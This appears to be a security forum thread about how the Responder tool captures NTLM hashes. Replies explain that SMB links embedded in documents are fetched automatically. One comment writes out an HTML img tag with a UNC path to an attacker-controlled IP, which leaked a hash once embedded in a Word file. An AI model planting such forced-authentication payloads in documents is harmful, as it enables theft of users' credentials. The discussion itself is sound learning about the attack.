0

I know how Responder works but I am a little bit confused regarding the attack.

Responder runs on attacker's machine and waits for someone to type something wrong in Windows Explorer. For ex: instead of fileshare the victim types fielshare and then we capture NTLM hash for that user.

But what if the victim doesn't type anything wrong? Is that how the Responder works? This seems that it has really very low chance to get NTLM hash.

Maybe I am missing something important. But what?

Improve this question
4
  • 2
    "...waited for someone to type some wrong..." - this is not needed. SMB links could be embedded in documents like PDF or DOC and will be automatically accessed when the document is opened. See for example this or this.
    – Steffen Ullrich
    Commented Jan 26, 2019 at 8:37
  • Thanks for sharing. But I was amazed that How this works? I saved <html><body><img src="\\192.168.0.6\share\pwn.jpeg" width=1 height=1 ></body></html> into a HTML file and then I import this text to word and save with extension .docx and when I saw in the terminal, I got NTLM hash. How?
    – janu agrawal
    Commented Jan 26, 2019 at 9:13
  • 1
    The comment asks a different question than your original question, i.e. why one can embed SMB resources into HTML and not how responder works. If you have new questions please don't do this in a comment.
    – Steffen Ullrich
    Commented Jan 26, 2019 at 11:10
  • Okay I will post a new question.
    – janu agrawal
    Commented Jan 26, 2019 at 11:33

0

Reset to default

You must log in to answer this question.

Browse other questions tagged .